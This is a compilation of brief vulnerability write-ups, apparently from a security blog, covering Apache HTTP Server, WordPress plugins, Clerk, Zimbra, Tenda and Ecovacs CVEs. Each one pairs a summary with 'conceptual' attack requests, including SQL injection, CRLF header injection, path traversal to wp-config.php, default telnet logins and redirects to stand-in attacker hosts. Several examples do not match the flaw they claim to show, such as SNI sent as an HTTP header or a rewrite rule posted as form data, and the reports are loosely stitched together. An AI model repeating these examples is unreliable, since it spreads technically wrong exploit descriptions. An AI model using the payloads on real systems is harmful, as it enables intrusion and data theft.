Author: Ameeba

Overview

The vulnerability CVE-2024-47252 affects Apache HTTP Server 2.4.63 and earlier versions. An untrusted SSL/TLS client can exploit this weakness to insert escape characters into log files in certain configurations. This can potentially lead to a system compromise or data leakage, making it a critical issue for administrators and security personnel managing Apache HTTP Server environments.

Vulnerability Summary

CVE ID: CVE-2024-47252
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache HTTP Server | 2.4.63 and earlier

How the Exploit Works

The vulnerability is due to insufficient escaping of user-supplied data in mod_ssl. In a logging configuration where CustomLog is used with “%{varname}x” or “%{varname}c” to log variables provided by mod_ssl such as SSL_TLS_SNI, no escaping is performed by either mod_log_config or mod_ssl. This allows an untrusted SSL/TLS client to insert escape characters into log files, leading to unsanitized data appearing in the log files.

Conceptual Example Code

This is a theoretical example of how a HTTP request might exploit the vulnerability:

GET / HTTP/1.1
Host: vulnerable.server.com
SSL_TLS_SNI: www.vulnerable.server.com\r\nInjected_Header: Malicious_Content

In the above example, the attacker inserts a carriage return and newline characters in the SSL_TLS_SNI field, followed by a malicious header. This would then be logged as is by the server, potentially leading to various forms of exploits, including log injection attacks.

Overview

This report presents a technical analysis of a significant vulnerability identified as CVE-2024-43394. The vulnerability affects the Apache HTTP Server on Windows platforms, specifically versions from 2.4.0 through 2.4.63. The vulnerability allows for Server-Side Request Forgery (SSRF), potentially leading to the leakage of NTLM hashes to malicious servers. This vulnerability is of high concern due to the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2024-43394
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or leakage of sensitive data

Affected Products

Product | Affected Versions

Apache HTTP Server | 2.4.0 – 2.4.63

How the Exploit Works

The vulnerability arises due to the server’s mishandling of unvalidated request input via mod_rewrite or apache expressions. A malicious actor can exploit this vulnerability by sending specially crafted requests to the server, which then inadvertently leaks NTLM hashes to the malicious server. The exploitation may occur via UNC paths, with limited protection offered by the server against administrators directing it to open these paths.

Conceptual Example Code

The following example represents a conceptual example of a malicious HTTP request exploiting this vulnerability:

POST /path/mod_rewrite HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
rewriteRule=^.*$ http://malicious.example.com/%{REQUEST_URI} [R=301,L]

In this example, a malicious actor uses a rewrite rule to redirect all requests to their server, potentially capturing NTLM hashes in the process. Note that this is a conceptual representation and actual exploit codes may vary.

Impact Summary

Successful exploitation of this vulnerability could lead to the potential compromise of the system or data leakage. The vulnerability allows an attacker to potentially leak NTLM hashes to a malicious server, which could potentially be used for further attacks or unauthorized access to sensitive resources.

Mitigation Guidance

To mitigate this vulnerability, it is advised to apply the vendor patch as soon as possible. If immediate patching is not feasible, a temporary mitigation could involve the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block potential exploitation attempts. Additionally, Windows servers should limit the hosts they will connect over via SMB based on the nature of NTLM authentication to further protect against such attacks.

Overview

This report details the Server-Side Request Forgery (SSRF) vulnerability found in the Apache HTTP Server when mod_proxy is loaded. It affects users working with Apache HTTP Server versions prior to 2.4.64 that have an unlikely configuration of mod_headers, making their systems susceptible to potential compromise and data leakage. The severity of this vulnerability highlights the critical need for immediate remediation.

Vulnerability Summary

CVE ID: CVE-2024-43204
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache HTTP Server | Prior to 2.4.64

How the Exploit Works

The exploit works by sending outbound proxy requests to a URL controlled by an attacker. This is made possible when mod_headers is configured to modify the Content-Type request or response header with a value provided in an HTTP request. An attacker can therefore control the destination of the server’s HTTP request, potentially leading to unauthorized access and data leakage.

Conceptual Example Code

An example of how this vulnerability might be exploited is shown below. This HTTP request uses a malicious URL as the `Referer` header, which the vulnerable server might process and send a request to, revealing sensitive data.

GET / HTTP/1.1
Host: vulnerable.example.com
Referer: http://malicious-attacker.com/collect-data

Mitigation Steps

Users are advised to upgrade to Apache HTTP Server version 2.4.64 where this vulnerability has been fixed. If users are unable to upgrade immediately, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks. However, these measures are not a long-term solution and upgrading should be prioritized to ensure complete protection.

Overview

This report provides an in-depth analysis of the CVE-2024-42516, a significant security vulnerability detected in the Apache HTTP Server. This vulnerability, if exploited, allows an attacker to manipulate the Content-Type response headers of applications, potentially leading to a system compromise or data leakage. As Apache HTTP Server is widely used across multiple platforms and industries, understanding and addressing this vulnerability is of utmost importance.

Vulnerability Summary

CVE ID: CVE-2024-42516
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Apache HTTP Server | 2.4.59

How the Exploit Works

The vulnerability CVE-2024-42516 is an HTTP response splitting flaw located in the core of Apache HTTP Server. An attacker exploiting this vulnerability can manipulate the Content-Type response headers of applications hosted or proxied by the server, thereby splitting the HTTP response. This splitting can potentially be used to trick the server into sending arbitrary responses, resulting in cache poisoning, cross-user defacement, cross-site scripting, or even potential remote code execution.

Conceptual Example Code

Below is a high-level conceptual example of how this vulnerability might be exploited:

GET /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: text/html; charset=UTF-8%0D%0ASet-Cookie:%20malicious_cookie=malicious_value

In the above example, the attacker manipulates the ‘Content-Type’ header to insert a ‘Set-Cookie’ header into the response. This allows the attacker to set a malicious cookie on a client’s browser.

Mitigation

Users are recommended to upgrade to Apache HTTP Server version 2.4.64, which includes a patch for this vulnerability. In the interim, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as temporary mitigation strategies.

Overview

Ecovacs Deebot T10 1.7.2 has been identified as having a critical vulnerability (CVE-2025-44251), which allows for the cleartext transmission of Wi-Fi credentials during the device pairing process. This vulnerability poses significant security risks, potentially leading to compromise of systems or data leakage, affecting all users of the affected versions of the product. This report provides a detailed analysis of the vulnerability, its potential impact, and suggested mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-44251
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Ecovacs Deebot T10 | 1.7.2

How the Exploit Works

The vulnerability stems from the insecure transmission of Wi-Fi credentials during the pairing process. Specifically, the Ecovacs Deebot T10 1.7.2 fails to encrypt or otherwise secure these credentials, transmitting them in clear text. This exposes the credentials to potential interception by malicious actors, who can then use them to gain unauthorized access to the network, potentially leading to system compromise or data leakage.

Conceptual Example Code

This vulnerability might be exploited through a packet sniffing attack. A conceptual example of this attack could look something like:

# Using airodump-ng to capture packets on a specific channel
airodump-ng --channel <channel> --bssid <BSSID> --write capture.pcap wlan0

In this conceptual example, an attacker uses the airodump-ng tool to capture packets on the Wi-Fi channel where the Ecovacs Deebot is transmitting. The `–write` argument saves these packets to a file (here, `capture.pcap`), which can then be analyzed to extract the cleartext Wi-Fi credentials.

Mitigation Guidance

Users of Ecovacs Deebot T10 1.7.2 are strongly advised to apply the vendor patch when available. In the meantime, users may consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation strategy to monitor and filter network traffic for suspicious activity.

Overview

The CVE-2025-6970 vulnerability pertains to a time-based SQL Injection vulnerability found in the Events Manager – Calendar, Bookings, Tickets, and more! plugin for WordPress. This vulnerability specifically affects all versions up to, and including, 7.0.3, and poses a significant threat in terms of potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-6970
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage.

Affected Products

Product | Affected Versions

Events Manager Plugin for WordPress | Up to, and including, 7.0.3

How the Exploit Works

The exploit is conducted through time-based SQL Injection via the ‘orderby’ parameter. Due to insufficient escaping on the user-supplied parameter and lack of proper preparation on the existing SQL query, unauthenticated attackers can append additional SQL queries into already existing ones. This allows the attacker to extract sensitive information from the database.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a malicious payload:

GET /wordpress/index.php?orderby=' OR SLEEP(5) -- HTTP/1.1
Host: target.example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Connection: close

In this example, if the server response is significantly delayed (by approximately 5 seconds, as indicated by the SLEEP(5) function), it indicates that the SQL injection was successful.

Mitigation Guidance

The recommended mitigation strategy for this vulnerability is to apply the vendor patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to temporarily mitigate the risk.

Overview

The recent discovery of CVE-2025-53548, a vulnerability found within the Clerk user management system, has raised concerns for developers across the globe. The vulnerability affects applications that utilize the verifyWebhook() helper in Clerk to verify incoming webhooks, potentially leading to the acceptance of improperly signed webhook events. The implications of this vulnerability are significant, ranging from system compromise to data leakage, making it a pressing issue that demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-53548
Severity: High, CVSS 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

@clerk/backend | < 2.4.0 How the Exploit Works

The exploit takes advantage of the verifyWebhook() helper function within Clerk. This function is meant to verify the authenticity of incoming webhooks, but due to a flaw in the way it handles signatures, it can be tricked into accepting improperly signed webhook events. This can potentially allow an attacker to manipulate the system or access sensitive data.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited:

POST /verifyWebhook HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"webhook_event": "user_update",
"signature": "improperly_signed_signature",
"user_data": {
"username": "attacker",
"password": "password123"
}
}

In this example, an attacker sends a POST request with an improperly signed “user_update” webhook event, potentially allowing them to update user data.

Mitigation Guidance

The best way to mitigate this vulnerability is by applying the vendor patch – upgrading to @clerk/backend 2.4.0, which resolves the issue. As a temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be employed to detect and block malicious webhook events.

Overview

This report details a high-severity vulnerability, CVE-2025-53645, found in the Zimbra Collaboration Suite (ZCS). This vulnerability affects versions of ZCS prior to 9.0.0 Patch 46, 10.0.x before 10.0.15, and 10.1.x before 10.1.9. It poses a significant threat as it allows an unauthenticated remote attacker to cause a denial of service (DoS) condition by sending specially crafted GET requests.

Vulnerability Summary

CVE ID: CVE-2025-53645
Severity: High, CVSS Score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, potential system compromise, or data leakage

Affected Products

Product | Affected Versions

Zimbra Collaboration Suite | Before 9.0.0 Patch 46
Zimbra Collaboration Suite | 10.0.x before 10.0.15
Zimbra Collaboration Suite | 10.1.x before 10.1.9

How the Exploit Works

The vulnerability arises due to the improper handling of excessive, comma-separated path segments in both the Webmail interface and the Admin Console of the Zimbra Collaboration Suite. An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted GET requests with excessive path segments. This triggers redundant processing and inflated responses, leading to uncontrolled resource consumption and ultimately, denial of service.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability through a GET request.

GET /zimbra/,/,/,/,/,/,/,/,/,/,/,/,/,/,/ HTTP/1.1
Host: target.example.com

This request floods the Zimbra server with redundant processing tasks, leading to resource exhaustion and ultimately, a denial of service.

Mitigation Guidance

The best course of action to mitigate this vulnerability is to apply the vendor-supplied patch. If applying the patch is not immediately feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It is highly recommended to prioritize the patch application to ensure the security of the affected systems.

Overview

The cybersecurity vulnerability CVE-2025-52364 is a serious flaw in Tenda CP3 Pro Firmware V22.5.4.93. This vulnerability, characterized by insecure permissions, affects users of this firmware by allowing the telnet service to run by default at boot. It poses significant cybersecurity risks as it potentially allows unauthorized remote attackers to gain access to the device’s shell over the network, especially if default or weak credentials are used.

Vulnerability Summary

CVE ID: CVE-2025-52364
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda CP3 Pro Firmware | V22.5.4.93

How the Exploit Works

The exploit takes advantage of the telnet service (telnetd) that is initiated by default at boot via the initialization script /etc/init.d/eth.sh. This insecure permission setting can allow a remote attacker to connect to the device’s shell over the network, potentially without any authentication if default or weak credentials are present.

Conceptual Example Code

This is a conceptual example of how an attacker could potentially take advantage of this vulnerability using a telnet client:

$ telnet target_device_ip
Trying target_device_ip...
Connected to target_device_ip.
Escape character is '^]'.
login: admin
password: admin
# Successful login without any authentication due to insecure permission

Please note that this is a conceptual representation and that actual exploitation would depend on many factors including network configuration, firewall settings, and the presence of default or weak credentials.

Overview

This report covers the vulnerability CVE-2025-6742, a PHP Object Injection flaw in the SureForms – Drag and Drop Form Builder for WordPress plugin. All versions up to and including 1.7.3 are affected, and unauthenticated attackers can exploit this vulnerability. This issue is significant as it can potentially compromise the system or lead to data leakage if exploited in conjunction with other plugins or themes that have a POP chain.

Vulnerability Summary

CVE ID: CVE-2025-6742
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

SureForms – Drag and Drop Form Builder for WordPress| Up to and including 1.7.3

How the Exploit Works

The SureForms plugin has a flaw in the delete_entry_files() function. It uses file_exists() without placing any restriction on the path provided, making the plugin vulnerable to PHP Object Injection. This vulnerability can be exploited by unauthenticated users. However, the impact of this vulnerability relies on the presence of another plugin or theme containing a POP chain. If such a plugin or theme is installed, the attacker might be able to delete arbitrary files, retrieve sensitive data, or execute code based on the POP chain.

Conceptual Example Code

Here’s a conceptual example of a malicious request that could exploit this vulnerability:

POST /wp-admin/admin-ajax.php?action=sureforms_delete_entry_files HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"path": "../../../../../../../var/www/html/wp-config.php"
}

In this scenario, the path is manipulated to point to a sensitive file (wp-config.php), which contains database connection details. If a POP chain is present, this file could be deleted or its contents leaked, potentially leading to a system compromise.

Mitigation

Users are urged to apply the vendor patch as soon as it becomes available. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used to help detect and prevent exploitation attempts.